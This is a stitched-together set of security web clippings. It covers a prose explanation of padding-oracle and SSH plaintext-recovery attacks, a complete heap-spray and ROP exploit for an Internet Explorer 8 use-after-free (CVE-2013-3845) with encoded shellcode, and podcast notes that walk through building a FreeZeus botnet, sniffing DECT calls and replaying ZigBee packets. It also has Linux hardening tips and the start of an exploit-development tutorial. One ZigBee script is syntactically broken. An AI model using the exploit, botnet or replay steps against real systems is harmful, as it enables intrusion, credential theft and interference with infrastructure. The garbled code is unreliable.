Vaudenay's well-known attack delivers.

In order to decrypt ciphertext that was encrypted in CBC mode, as part of the
decryption process one has to remove the padding that was originally appended
to the plaintext \(in order to make it a multiple of the underlying cipher's
block size\). There are a number of different padding formats, but the most
popular \(as defined in PKCS\#5\) is to append the necessary N bytes of a
value of N. So if a block needs to be padded out by 5 bytes, for insance, one
would append 5 bytes of the value 0x05.

When receiving a message, one would decrypt it, look at the value of the last
byte \(call it N\), and then insure that the preceding N-1 bytes also had the
value of N. Should they have an incorrect value, one has encountered a padding
error, and should abort. Since the MAC is part of the encrypted payload, _all_
of this needs to happen before the MAC can be verified. And thus, inevitable
doom.

If you'll recall, the CBC decryption process looks like this:

<img
src='http://getfile8.posterous.com/getfile/files.posterous.com/temp-2011-11-26/bACDrvqEdnsiiJgwqgAAxtddimuoGCoAypswdgCxxkmzgmoxJbAsJHfssCpv/cbc_decryption.png.scaled500.png'
width='500' height='185' alt='Cbc_decryption' />

So if an attacker were to have a ciphertext message that they would like to
decrypt, arbitrarily modifying the last byte of the second to last ciphertext
block before sending it on to the recipient would have a deterministic effect
on the last byte of the last ciphertext block. And _that's_ the byte the
receiver is going to look at in order to process the padding.

A receiver processing a message thus has two possible crypto-related error
conditions: a padding error, and a MAC error. Sometimes protocols will emit
different error responses to the sender based on the condition, but even if
they don't, a sender can often differentiate between the two conditions simply
based on timing.

This means that if an attacker were to take a ciphertext message and
arbitrarily modify the last byte of the second to last block \(R, as mentioned
above\), it would most likely trigger a padding error. This is because the
attacker's modification tweaks the value of the last byte of the last block,
which is what the receiver is looking to for padding information. Instead of
seeing 5 bytes of 0x05, for instance, the recipient will see 4 bytes of 0x05
and then a random byte of a different value.

If the attacker cycles through enough modifications of R, however, \(and there
are only 8bits worth\) they will eventually trigger a MAC error rather than a
padding error. This is because the last byte of the last block will eventually
get set to 0x01, which is valid padding. At that point the attacker knows that
the _real_ value of the last byte of the last ciphertext block is R xor 1. The
attacker just decrypted a byte\! They can then deterministicly set the last
byte value to 0x02, and do the same thing with the _second_ to last byte of
the second to last block. And so on, until they've recovered the entire
message. Doom.

## 2\. SSH Plaintext Recovery

The following plaintext recovery attack against SSH is another particularly
clever exploitation of the doom principle. The SSH packet format is as
follows:

<img
src='http://getfile0.posterous.com/getfile/files.posterous.com/temp-2011-11-26/xbGtCrEmEGClrHeInqczxqhxkuunztjxnCinyAgBvlaCfFGmveGAEjleksrd/ssh_packet.png.scaled500.png'
width='500' height='149' alt='Ssh_packet' />

We see that SSH has the same problem as above: in order to verify the MAC, one
first has to decrypt the message. At first glance, however, SSH is safe,
because the type of padding it uses does not make it vulnerable to Vaudenay.
By specifying the padding length in a one byte field at a fixed location prior
to the payload, it slips by.

SSH has another strange feature, however, which is that the _length_ of the
message itself is encrypted. This means that before a recipient can verify the
MAC, they first need to decrypt the first block of the message. Not just so
that they can calculate the MAC over the plaintext, but so that they even know
how long the message is, and how much data to read off the network in order to
decrypt it\!

So before a recipient has verified the MAC on a message they receive, the very
first thing they are going to do is decrypt the first block and interpret the
first four bytes as the length of the message. Glossing over a few details,
this means that if an attacker is holding a ciphertext block they would like
to decrypt \(perhaps from the middle of a previously transmitted message\),
they can simply send it to the recipient, who will decrypt it and parse the
first four bytes as a length. The recipient will then proceed to read that
many bytes off the network before verifiing the MAC. An attacker can then send
one byte at a time, until the recipient encounters a MAC error and closes the
connection. At this point the attacker will know what value the recipient
interpreted that four byte length to be, thus revealing the first four bytes
of plaintext in a ciphertext block. Doom again\!

## In Conclusion

These are two of my favorite examples, but there are actually a number of
other ways in which this has manifested itself. Watch out for it, because even
if these particular cases don't apply, the general pattern will _somehow_
inevitably cause trouble. It always does.

# CVE-2013-3845

**Created:**| _10/29/2013 9:36:47 AM_  
---|---  
**Updated:**| _10/29/2013 9:42:02 AM_  
**Author:**| __  
**Tags:**| _Exploit programming windows environment bin-diffing patch-based_  
  

[code]

    <!DOCTYPE HTML>
    <html>
    	<script>
    		
    		/*
    		
    			- Microsoft Internet Explorer 8 (mshtml!CTreePos) use-after-free vulnerability
    			- IDs: MS-13-069/CVE-2013-3845
    			- Tested against Windows XP SP3 Spanish language (before September'13 patches)
    			- Credits to Jose A. Vazquez of Yenteasy - Security Research - 
    		
    		*/
    		
    		var heap = new Array();
    		var nop = unescape("%ucaca%ucaca");	//Nop
    		
    		//Prepare the path to gain the control over EIP
    		var code = unescape("%u0428%u0c0d");//Pointer needed (This will come from [edi+edx*8-28h])
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u4101%u4141");//Filler (Here goes the checks of [edi] = al = 0x03)
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u0438%u0c0d");//Pointer needed
    		code += unescape("%u1509%u7e3d");//esi (This from [ecx+1c] = [[edi+edx*8-28h] + 1c]) | stack pivot
    		code += nop;//Filler
    		code += unescape("%u044c%u0c0d");//vtable/vtable pointer for fake TreeNode (From [ecx+24h] =  [[edi+edx*8-28h] + 24h]))
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%uddb9%u7c81");//eip
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u0480%u0c0d");//Pointer to start of rop chain
    		//Rop Chain
    		var rop = unescape("%u1ad4%u7c80");//VirtualProtect
    		rop += unescape("%u0498%u0c0d");//Return address
    		rop += unescape("%u0498%u0c0d");//lpAddress
    		rop += unescape("%u0200%u0000");//dwSize
    		rop += unescape("%u0040%u0000");//flNewProtect
    		rop += unescape("%u0438%u0c0d");//lpflOldProtect
    		rop += unescape("%ue58b%u9090");//Restore stack for reliability issues
    		shellcode = unescape("%u9090%u9090%u9090%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucad1%u75ae%u66f8%ufa81%uf510%ue3e0%ucd75%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u6897%u652e%u6578%u6368%u6c61%u5463%u0487%u5024%ud5ff%ucccc%ucccc");
    		var padding = 0x200;
    		var nopsled = nop;	//Filler
    		while (nopsled.length < 0x1000) nopsled += nopsled;
    		var chunks = nopsled.substring(0,padding) + code + rop + shellcode;
    		chunks += nopsled.substring(0,0x800-padding-code.length-rop.length-shellcode.length);
    		
    		while (chunks.length < 0x80000) chunks += chunks;
    		
    		//Allocate the chunks
    		for (var i = 0; i < 0x700; i++){
    			heap.push(chunks.substring(0,0x40000-0x21));
    		}
    
    		
    		//Trying it again
    		function tryAgain(){
    			location.reload();
    		}
    		
    		//Allocating an array of fake objects
    		function fakeObject(size, divs){
    			var pointer = unescape("%u0434%u0c0d");
    			while(pointer.length < 0x100) pointer +=  unescape("%u0434%u0c0d");
    			var fake = pointer.substring(0, (size-6)/2);
    			for(var i=0;i<divs.length;i++){
    				divs[i].className = fake;
    			}
    		}
    		
    		//Creating an array of Divs working as allocators
    		function getAllocator(num){
    			var obj = new Array();
    			for(var i=0;i<num;i++){
    				var dive = document.createElement("div");
    				obj.push(dive);
    			}
    			return obj;
    		}
    		
    		//Triggering the UAF
    		function Trigger(){
    			for(i=0;i<document.getElementsByTagName("textarea").length;i++){
    				document.getElementsByTagName("textarea")[i].innerHTML = 'foo';
    			}
    			for(i=0;i<document.getElementsByTagName("textarea").length;i++){
    				var cdivs = getAllocator(0x100);//Get ready 0x100 objects
    				fakeObject(0x60, cdivs);//Object size: 0x60 bytes
    				document.getElementsByTagName("textarea")[i].scrollHeight;
    			}
    		}
    		
    		setTimeout("tryAgain()", 1);
    		
    	</script>
    	<style>
    	
    		textarea{
    			display: ruby;
    		}
    		
    	</style>
    	<textarea><script>Trigger();</script></textarea>
    	<form><script>foo();</script><script>Trigger();</script></form>
    </html>
[/code]

# Episode200 - PaulDotCom Security Weekly

**Created:**| _7/9/2010 12:28:35 PM_  
---|---  
**Updated:**| _7/9/2010 12:28:35 PM_  
**Author:**| _wishi_  
**Tags:**| _setup Linux Malware-analysis Tutorials Distributed systems_  
  

# Surprise Tech Segment \(1:00PM-2:00PM\) with Dennis Brown

Setting up a FreeZeus Botnet in a VM Lab

Zeus is the most popular crimeware toolkit, and it can be invaluable to work
with it from the perspective of the hacker. In a safe environment, it can be
examined to understand its inner workings, used to get an idea of the
potential for data theft on your network, and to help understand if your
defenses against it are adequate.

We'll be focusing on setting up FreeZeus, a hacked version of Zeus that
appeared in the underground in April, 2010. This version of Zeus, as with all
versions, is not to be trusted on any systems with any sensitive or personal
info, and should not connected to the Internet for any longer than necessary,
if at all. Please consider the risk to your setup before processing.

For this setup, we'll need 2 virtual machines \(or real hardware, if you
wish\): - A Windows VM - XP SP2 works great, but any version up through
Windows 7 should work fine - A Ubuntu Server VM - Configured for the LAMP
package - Any webserver with MySQL and PHP will work, so use what you know
best - Will need a new user and database in MySQL to install the web control
panel

Once you've acquired FreeZeus \(its available, just need to look for it\),
you'll see something like the following files in it:

<img src='img/Rarcontents.jpg' width='905' height='384'
alt='File:rarcontents.jpg' />

Setting up the web control panel: - This is the Command and Control interface
to Zeus - Copy the contents of FreeZS-panel to the public\_html directory on
the web server - Browse to http://WEBSERVER\_IP/install/index.php \- This is
the configuration screen of the web server

<img src='img/Cp.jpg' width='428' height='444' alt='File:Cp.jpg' />

\- The following options need to be set - Root User: This is the
login/password for the web control panel - MySQL Server: This is the username,
password, and database created when setting up the VM - Local Folders: A local
directory to store logs to - Bot timeout: How often the control panel will
wait before checking the status of a bot - Encryption key: For FreeZeus, this
needs to be set to: anonymous - Enable write reports to databse/local path:
Where you want to store logs to - Once this is complete, click Install

  
Setting up the config file - The official Zeus builder,
ConfigurationBuilder/zsb.exe, is used to set up the config file - First, open
ConfigurationBuilder/config.txt - Set the following fields under DynamicConfig
- url\_loader - This is the URL of the bot we'll be ultimately creating.
Change EDIT\_THIS to the IP of your web server - url\_server - This is the URL
of the C&C server. Change EDIT\_THIS to the IP of your web server. Gate.php is
the script all bots talk to, but this can be renamed both here and on the
webserver. - Other options are up to the user to decide, but for a lab
environment, the defaults are fine - Run zsb.exe

<img src='img/Builder.jpg' width='616' height='412' alt='File:builder.jpg' />

\- Click on the Builder option on the menu - Browse to the config file we just
modified - Click Build the bot configuration - Upload the file it creates to
the web server

Creating the bot executable - The FreeZeus builder is usually named something
like FreeZeusBuilder.exe or ZeusBuilder.exe - Most options in this file are
not able to be changed. Remember, we're using shady software here :\)

<img src='img/FreeBuilder.jpg' width='396' height='397'
alt='File:FreeBuilder.jpg' />

\- Pick the Bot version. They have different options, but for a test lab, the
decision isn't important. - Change url\_config to the URL of the config file
uploaded in the previous section. - Change url\_compip to the URL of your
server, but keep the /ip.php at the end. This is used by the server to track
the IP addresses of infected hosts. - Click Build - Upload the executable it
creates to the web server

Testing the bot\! - In the Windows VM, download and run the executable created
in the previous step. - Browse to the control panel, which can be found at
http://WEBSERVER\_IP/cp.php \- Log in with the credentials created earlier -
If all goes well, you should see 1 bot in the network\! - If this bot isn't
found, double check all the configuration options, and make sure the URLs are
correct - Also, check web server logs. These can often show if there is a
typo, or if the connection isn't being made in the first place. - The FreeZeus
control panel is modified to log any connections it sees with fields like
"user" and "pass" \- Makes for very easy testing. Try logging into a throwaway
webmail account, like hotmail. - Click on Search in Database or Search in
Files in the control panel - Click on your bot, and you should see data that
has been transmitted, including the webmail password - If this all works,
congrats, you have a working Zeus botnet in a lab. Be careful, but enjoy
exploring\!

# Metasploit Mega-Tech Segment with HD Moore \(2:00PM-3:00PM\)

  * Using Metasploit in the Enterprise
  * Metasploit Development & Post-Exploitation
  * Client-side Exploitation
  * Working With Payloads
  * Metasploit & Wireless Penetration Testing

..And now for something completely wireless…and different\!

Paul asked me to come up with a segment on using Metasploit for wireless. I
thought about it, and figured, oh, wireless that means karmetasploit\! Well
karmetasploit has been done. I figured I'd talk about what to do with the
information that we get from karmetasploit. We'll that's been done by many -
much of what we get is credentials.

So, here is something different: Sniffing DECT phones with metasploit, with a
largely overlooked auxiliary module.

First things first, you do need to have the dedected.org COM-ON-AIR driver
working with your card. We covered this in episode 158, so co check that out.
Once it works, go get metasploit \(we're using 3.4 here\) and let's get
rolling:

Fire up msfconsole and we are off.

Lets use the DECT call sniffing module that looks for calls, and begins
recording the, Insert the warnings about the illegality of recording phone
calls here.

[code]

    msf > use auxiliary/scanner/dect/call_scanner 
    
[/code]

Let's display our options:

[code]

    msf auxiliary(call_scanner) > show options
    
    Module options:
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       BAND       2                yes       DECT band
       CHAN       0                no        DECT channel
       INTERFACE  /dev/coa         yes       The name of the Com-On-Air Interface
       RFPI                        no        RFPI for synchronous scan
       VERBOSE    true             no        Print out verbose information during the scan
    
[/code]

Some items to note here are the BAND options, which we want to be set to 2
here in the US, or 1 in europe. Of course to be thorough, we could use BAND 3
to search both bands. We also want to be sure that we have VERBOSE set to
true:

[code]

    msf auxiliary(call_scanner) > set BAND 3
    msf auxiliary(call_scanner) > set VERBOSE true
    
[/code]

Now we kick it off:

[code]

    msf auxiliary(call_scanner) > run
    
    [*] Opening interface: /dev/coa
    [*] Using band: 2
    [*] Changing to call scan mode.
    [*] Scanning...
    [*] Switching to channel: 24
    [*] Switching to channel: 25
    [*] Switching to channel: 26
    [*] Switching to channel: 27
    [*] Switching to channel: 23
    [*] Switching to channel: 24
    [*] Switching to channel: 25
    [*] Switching to channel: 26
    ^C[*] Closing interface
    [-] Auxiliary interrupted by the console user
    [*] Auxiliary module execution completed
    msf auxiliary(call_scanner) > 
    
[/code]

It does require us to tie up our console at the moment, so when we are done,
we have to terminate it with a CTRL-C.

Unfortunately I could not get any output form my DECT phone at home, but I'll
have to try during the day at the studio during episode 200…

  

  

# PaulDotCom Episode 200 Show \(3:00PM-5:00PM\)

## Tech Segment: ZigBee For Beginners

Recently I've taken an interest in playing with some Zigbee stuff, thanks to
the QuahogCon folks, and Josh Wright's talk on Zigbee. So, why is this tech
segment entitled "for beginners? Well, quite frankly, I'm just beginning to
start too.

So, what's to love with ZigBee?

\- It is being found in more and more implementations, such as Smart Meters.
What's cooler than hacking infrastructure?

\- The hardware to sniff and inject packets is relatively inexpensive; one
dongle is $40, but from the way I understand it, if you want to sniff and
inject you'll need two dongles. This has the added feature of having your own
lab in a box for $80. Unfortunately, in order to inject packets, you need
custom firmware for one dongle. While the firmware is free, the dongle needs a
programmer and adapter which run about $350. There are ways around this…

\- This technology has been around a while, but it is just starting to find
more mainstream applications. Getting in now means the fun stuff is just
getting started.

\- The packets are only 128 bytes long. That makes, in most cases, analyzing
the packets particularly easy, given the small data area. I'd also imagine
that it would be relatively easy to fuzz…

\- The medium is particularly prone to attacks that were in vogue 10 years
ago. Replay attacks? Yeah, they work. Encryption? Sure. Often the key is sent
OTA, which we can sniff and replay.

\- Understanding 802.15 PHY is the basis to understanding the subsequent MAC
layer and higher - Zigbee is just one implementation - theres also 6lowpan,
and Z-Wave

Ok, we now know what to love. How do we use it get crackin'?

Thanks to an awesome dude named Josh Wright, we have a suite of tools for
interacting with our $40 adapter for injection. That suite of tools is called
Killer Bee.

First we need to find a device…in the wild of course\! For this we will use a
gui app:

[code]

    # ./zbfind
    
[/code]

This will give us a nice little display, similar to the concepts of kismet to
passively \(or actively\) listen for Zigbee devices, while channel hopping.

Once we've found one, lets capture some traffic\!

We want to be sure to determine which device is which. KillerBee is able to
detect which to use, but it becomes more important when we want to sniff and
inject at the same time. Simple enough, let's use zbid:

[code]

    # ./zbid
    Dev     Product String  Serial Number
    002:002 KILLERB001      4EAD17FFFF25
    
[/code]

Now to dump some traffic:

[code]

    # ./zbdump -f 26 -w capture.pcap -i 002:002
    zbdump: listening on '002:002', link-type DLT_IEEE802_15_4, capture size 127 bytes
    ^C 2 packets captured
    
[/code]

In this case -f is the channel number \(as determined from our location
finding\), -w is our output pcap file and -i is our Zigbee interface. We will
note that during live capture we do not see any output, and only when we do a
ctrl-C do we have any indication that there were packets captured. \*\*\(We
could monitor the file size in another terminal?\). Now it is time to wait for
commands to be sent over the air. This could take a while. Think about how
often that commands might be sent to opening a spillway 10 degrees, or how
often that you may send commands to a thermostat to change a few degrees…

Woohoo\! We have packets\! Let's take a look at them…in Wireshark\!

[code]

    $ wireshark capture.pcap
    
[/code]

Sample output:

[code]

    No.     Time        Source                Destination           Protocol Info
          1 0.000000                                                IEEE 802.15.4 Reserved
    
    Frame 1 (19 bytes on wire, 19 bytes captured)
        Arrival Time: May 30, 2010 21:03:59.000019000
        [Time delta from previous captured frame: 0.000000000 seconds]
        [Time delta from previous displayed frame: 0.000000000 seconds]
        [Time since reference or first frame: 0.000000000 seconds]
        Frame Number: 1
        Frame Length: 19 bytes
        Capture Length: 19 bytes
        [Frame is marked: False]
        [Protocols in frame: wpan]
    IEEE 802.15.4 Reserved
        Frame Control Field: Unknown (0x161e)
            .... .... .... .110 = Frame Type: Unknown (0x0006)
            .... .... .... 1... = Security Enabled: True
            .... .... ...1 .... = Frame Pending: True
            .... .... ..0. .... = Acknowledge Request: False
            .... .... .0.. .... = Intra-PAN: False
            .... 01.. .... .... = Destination Addressing Mode: Unknown (0x0001)
            ..01 .... .... .... = Frame Version: 1
            00.. .... .... .... = Source Addressing Mode: None (0x0000)
        Sequence Number: 18
        [Expert Info (Error/Malformed): Invalid Destination Address Mode]
            [Message: Invalid Destination Address Mode]
            [Severity level: Error]
            [Group: Malformed]
    
    No.     Time        Source                Destination           Protocol Info
          2 1.000057                          0x4cea                IEEE 802.15.4 Data, Dst: 0x4cea
    
    Frame 2 (19 bytes on wire, 19 bytes captured)
        Arrival Time: May 30, 2010 21:04:00.000076000
        [Time delta from previous captured frame: 1.000057000 seconds]
        [Time delta from previous displayed frame: 1.000057000 seconds]
        [Time since reference or first frame: 1.000057000 seconds]
        Frame Number: 2
        Frame Length: 19 bytes
        Capture Length: 19 bytes
        [Frame is marked: False]
        [Protocols in frame: wpan:data]
    IEEE 802.15.4 Data, Dst: 0x4cea
        Frame Control Field: Data (0x1b09)
            .... .... .... .001 = Frame Type: Data (0x0001)
            .... .... .... 1... = Security Enabled: True
            .... .... ...0 .... = Frame Pending: False
            .... .... ..0. .... = Acknowledge Request: False
            .... .... .0.. .... = Intra-PAN: False
            .... 10.. .... .... = Destination Addressing Mode: Short/16-bit (0x0002)
            ..01 .... .... .... = Frame Version: 1
            00.. .... .... .... = Source Addressing Mode: None (0x0000)
        Sequence Number: 24
        Destination PAN: 0x8829
        Destination: 0x4cea
        [Expert Info (Warn/Undecoded): Encrypted Payload]
            [Message: Encrypted Payload]
            [Severity level: Warn]
            [Group: Undecoded]
        FCS: 0x002a (Correct)
    Data (10 bytes)
    
    0000  ae 10 72 d4 36 98 fa 5c be 7a                     ..r.6..\.z
        Data: AE1072D43698FA5CBE7A
        [Length: 10]
    
    
[/code]

Now that we are looking, the data portion will often be that in which we are
interested. If we are able to capture enough traffic, we may be able to
determine some interesting things about packet content…

Let's go for the replay attack. Why you ask? Well, what happens in the
spillway example? Say we open the spillway 1 degree, which takes one specific
packet. In order to open it 10 degrees, we send the same packet 10 times. Ok,
we are in possession of the packet, so lets replay it to open the spillway 180
degrees, causing flooding…

Here's how we replay

[code]

    # ./zbreplay -f 26 -r capture.pcap
    zbreplay: retransmitting frames from 'capture.pcap' on interface '002:002' with a delay of 1.000000 seconds.
    1 packets transmitted
    
[/code]

Where -f is the channel number previously determined and -r is the pcap we
want to replay. We could of course add this with a for loop inside of a
script.

On another note, what happens if we have a one packet that we need to replay
in a capture of several packets? Let's used editcap to split that packet out
into a standalone pcap file:

$ editcap -r capture.pcap singlepacket.pcap 2

Where -r indicated the action of inclusion of packets \(instead of the
exclusion of packets\) then inout file, output file and the list of packets to
export, in this case, packet number 2 form the original pcap.

Additionally, if killerbee is properly installed in the python environment
\(which you needed to do for using these tools\), we can create a python
script to use the killerbee libraries to send just the specified data payload
on out specified channel. Here is an example with some packet content from
Josh's QuahogCon badge pwnage script, that sends the packet 5 times for good
measure:

[code]

    #!/usr/bin/env
    from killerbee import *
    import sys
    
    packetcontent = "\xFF\x00\x63\x03\x65\xd9\x3d\x91\xf5\x29\x8d\xe1\x45\xb9\x1d\x71\x00\x2c\x00",
        
        kb = KillerBee()
        kb.set_channel(26)
        try:
            for i in xrange(0,5):
                kb.inject(packetcontent)
    else:
        
                time.sleep(.2)
    
[/code]

  
Ok, now that we have the basics, lets get hunting and hacking\!

## Tech Segment: Hardening Linux

First things first, I believe that hardening is important. We've lost site of
this age old practice and let our guard down. We put too much confidence in
things such as firewalls, intrusion detection/prevention, encryption, and
often think "it won't happen to me". When you harden a system you have to take
into account two things:

1\) What do I need this system to do?

2\) What if "it" did happen to me?

The first consideration is what makes hardening a personal matter. Different
systems across your organization, and especially across other organizations,
are going to be configured to do different things. Their requirements are
completely separate, and therefore so is hardening guidelines. The CIS
benchmarks are a good place to start, but you MUST tune it according to your
environment and purpose given to each system. Now thats not to say we can't
have standards and "best practice". Think of standards like table manners.
Sure, depending on the setting you will employ a different set of table
manners. At a cookout, its typically perfectly acceptable to use your hands to
eat \(burgers, ribs, potato salad are examples\). However, at a 5-star steak
resturant pickink up that t-bone and chomping on it may not be the greatest
idea to impress your clients. However, there are some rules that apply no
matter where you are eating, such as putting your hands in someone elses dish
or passing gas at the dinner table.

So what follows is somewhere between flatchulance and eating with your hands:

### Remote Access

A general rule of thumb is that remote access should be:

\- restricted to a select number of IP addresses - never allowing an
administrative or root-level user to login remotely directly - Avoiding
passwords at all costs in favor of keys or some other kind of non-password
based authentication - Use a solid form of encryption

I prefer to use SSH and harden it as I outline in a previous tech segment. I'd
add another layer that requires a sudo password in order to become root. You
can even create another non-root account that does have access to sudo to
root. This would now require 3 passwords:

1 password for your SSH key 1 password for your user account \(needed to sudo
to the account that can sudo to root\) 1 password for your account that can
sudo to root

Three passwords and a key is a great way to lock down access to your system

### Leave As Few Services Running As Possible

This is still a good practice to follow. I typically strip out any inetd or
xinetd daemons and packages. They seem to exist to run silly things such as
time, discard, chargen, etc... In the past several years I've never needed
these services to run. Also, use the "netstat" and "lsof" programs liberally
and check for IPv6 as well\!

I tend to disable IPv6 on systems, for example in Ubuntu 9.04:

/etc/default/grub add the line:

GRUB\_CMDLINE=ipv6.disable=1

Note: Interesting note on grub v2, currently there is no way in the stable
code to set a boot loader password\! Crazy as it sounds, this is what my
research has shown.

See Command Line Kung Fu: Search Term "netstat" for more information.

### Remove the compilers and other tools when done

So many times I've compromised a system and used the tools already installed
to further gain a foothold. Three Examples:

1\) netcat - If netcat is already on the system and I gain remote command
execution via a web app my job is MUCH easier. We love netcat, but keep it on
your laptop for hacking, not on your production servers.

2\) gcc - I got shell, w00t\! Now I can start my pen test, but I really want
to be root. I got this great priv exec exploit, and thatnkfully a compiler has
already been installed\! Remove "build-essential" when done., as forcing an
attacker to install tools leaves more opportunity to detect an attacker.

3\) perl script - I once saw a simple Perl script take down an entire network.
A web server had some vulnerabilities that allowed file upload. An attacker
uploaded a Perl script that was a bot, and had the capability to send a UDP
DoS attack. This attack caused the firewall to melt, and all services for the
organization to become unavailable. If you don't need Perl and other such
utilities, remove them.

### Check Permissions

This could be a tech segment in and of itself\! Permissions are important,
consider this example:

If a Linux startup script in /etc/init.d \(Which runs as root at system
startup\) were to call a binary that is owned by a non-root user, its game
over. I had this at CCDC and didn't figure it out until it was too late. There
was a startup script for Nagios that called a binary owned by the nagios user.
The teams had systems configured with a user/pass pair of nagios/nagios. They
couldn't change it fast enough and the red team was in. Little did we know
that all we had to do was swap out a binary for a shell script, then anything
in that shells script could be executed as root after a reboot.

There are TONS of example of this, and most hardening guidelines go into
detail. These are important details and sometimes the distribution, and more
likely a software package, gets file system permissions wrong.

# Windows Exploit Development - Part 1: The Basics - Security SiftSecurity
Sift

**Created:**| _8/19/2015 11:14:22 AM_  
---|---  
**Updated:**| _8/19/2015 11:14:22 AM_  
**Author:**| __  
**Tags:**| _Exploit windows environment_  
  

### Overview

Welcome to Part 1 of a series of posts on Windows Exploit Development. In this
first installment I’ll cover just the basics necessary to understand the
content of future posts, including some Assembly syntax, Windows memory
layout, and using a debugger. This will not be a comprehensive discussion on
any of these topics so if you have no exposure to Assembly or if anything is
unclear after you read through this first post I encourage you to take a look
at the various links to resources I’ve provided throughout.

My plan for the rest of the series is to walk through various exploit topics,
from the simple \(direct EIP overwrite\) to the more complicated \(unicode,
egg hunters, ASLR bypass, heap spraying, device driver exploits etc\), using
actual exploits to demonstrate each. I don’t really have an end in sight, so
as I think of more topics, I’ll continue to write posts.

### Purpose

My goal for this series of posts is to introduce the concepts of finding and
writing Windows application exploits in the hope that Security and IT
professionals that haven’t had much technical exposure to these concepts might
take an interest in software security and apply their skills to make private
and public domain software more secure. Disclaimer: If you’re someone that
wants to build exploits to partake in illegal or immoral activity, please go
elsewhere.

I should also mention that these posts are not intended to compete with other
great tutorials out there such as Corelan Team, The Grey Corner, and Fuzzy
Security. Instead, they are meant to complement them and provide yet another
resource for explanations and examples — if you’re like me, you can never have
too many examples. I highly encourage you to check out these other great
sites.

### What You’ll Need

Here’s what you’ll need if you want to follow along:

  * A Windows installation: I plan to start with Windows XP SP3 but as I progress and cover different topics/exploits, I may also use other versions including Windows 7 and Windows Server 2003/2008.
  * A Debugger: On the Windows host you’ll also need a debugger. I’ll primarily be using Immunity Debugger which you can download here. You should also get the mona plugin which can be found here. I’ll also use WinDbg for some of my examples. Instructions for download can be found here \(scroll down the page for earlier versions of Windows\).
  * A Backtrack/Kali host \(optional\): I use a Kali host for all of my scripting and also plan to use it as the “attacking machine” in any remote exploit examples I use. I plan to use Perl and Python for the majority of my scripts so you may choose to install either language environment on your Windows host instead.

### Getting Started with Immunity Debugger

Let’s begin by taking a look at a debugger since we’ll be spending quite a bit
of time using one throughout these tutorials. I’m going to be primarily using
Immunity debugger because it’s free and has some plugins and custom scripting
capabilities that I plan on highlighting as we progress.

I’ll use Windows Media Player as an example program to introduce Immunity
Debugger. If you want to follow along, open Windows Media Player and Immunity
Debugger. In Immunity, click File –> Attach and select the name of the
application/process \(in my example, wmplayer\). Note: you can also launch WMP
directly from Immunity by clicking File –> Open and selecting the executable.

<img src='img/Temp2_9611.png' width='520' height='236' alt='Immunity Process
Attach' />

Once you’ve launched an executable or attached to a process within Immunity,
you should be taken to the CPU view \(if not, hit Alt+C\), which looks like
this:

<img src='img/Temp2_9626.png' width='714' height='474' alt='Immunity CPU View'
/>

When you run/attach to a program with Immunity it starts in a paused state
\(see lower right hand corner\). To run the program you can hit F9 \(or the
play button in the toolbar\). To step into the next instruction \(but pause
program execution\) hit F7. You can use F7 to step through each instruction
one at a time. If at any time you want to restart the program, hit Ctrl+F2. I
won’t be providing a complete tutorial on how to use Immunity, but I will try
to mention any relevant shortcuts and hotkeys as I present new concepts in
this and future posts.

As you can see, the CPU window is broken up into four panes depicting the
following information:

  1. The CPU Instructions – displays the memory address, opcode and assembly instructions, additional comments, function names and other information related to the CPU instructions
  2. The Registers – displays the contents of the general purpose registers, instruction pointer, and flags associated with the current state of the application..
  3. The Stack – shows the contents of the current stack
  4. The Memory Dump – shows the contents of the application’s memory

Let’s take a look at each one in a bit more depth, starting with the
registers.

CPU Registers

The CPU registers serve as small storage areas used to access data quickly. In
the x86 \(32-bit\) architecture there are 8 general-purpose registers: EAX,
EBX, ECX, EDX, EDI, ESI, EBP, and ESP. They can technically be used to store
any data, though they were originally architected to perform specific tasks,
and in many cases are still used that way today.

<img src='img/Temp2_9599.png' width='311' height='127' alt='registers' />

Here’s a bit more detail for each…

**EAX – The Accumulator Register.**

It’s called the accumulator register because it’s the primary register used
for common calculations \(such as ADD and SUB\). While other registers can be
used for calculations, EAX has been given preferential status by assigning it
more efficient, one-byte opcodes. Such efficiency can be important when it
comes to writing exploit shellcode for a limited available buffer space \(more
on that in future tutorials\!\). In addition to its use in calculations, EAX
is also used to store the return value of a function.

This general purpose register can be referenced in whole or in part as
follows: EAX refers to the 32-bit register in its entirety. AX refers to the
least significant 16 bits which can be further broken down into AH \(the 8
most significant bits of AX\) and AL \(the 8 least significant bits\).

Here’s a basic visual representation:

<img src='img/Temp2_9610.png' width='403' height='240' alt='EAX' />

This same whole/partial 32-, 16-, and 8-bit referencing also applies to the
next three registers \(EBX, ECX, and EDX\)

**EBX – The Base Register.**

In 32-bit architecture, EBX doesn’t really have a special purpose so just
think of it as a catch-all for available storage. Like EAX, it can be
referenced in whole \(EBX\) or in part \(BX, BH, BL\).

**ECX – The Counter Register.**

As its name implies, the counter \(or count\) register is frequently used as a
loop and function repetition counter, though it can also be used to store any
data. Like EAX, it can be referenced in whole \(ECX\) or in part \(CX, CH,
CL\).

**EDX – The Data Register**

EDX is kind of like a partner register to EAX. It’s often used in mathematical
operations like division and multiplication to deal with overflow where the
most significant bits would be stored in EDX and the least significant in EAX.
It is also commonly used for storing function variables. Like EAX, it can be
referenced in whole \(EDX\) or in part \(DX, DH, DL\).

**ESI – The Source Index**

The counterpart to EDI, ESI is often used to store the pointer to a read
location. For example, if a function is designed to read a string, ESI would
hold the pointer to the location of that string.

**EDI – The Destination Index**

Though it can be \(and is\) used for general data storage, EDI was primarily
designed to store the storage pointers of functions, such as the write address
of a string operation.

**EBP – The Base Pointer**

EBP is used to keep track of the base/bottom of the stack. It is often used to
reference variables located on the stack by using an offset to the current
value of EBP, though if parameters are only referenced by register, you may
choose to use EBP for general use purposes.

**ESP – The Stack Pointer**

ESP is used to track the top of the stack. As items are moved to and from the
stack ESP increments/decrements accordingly. Of all of the general purpose
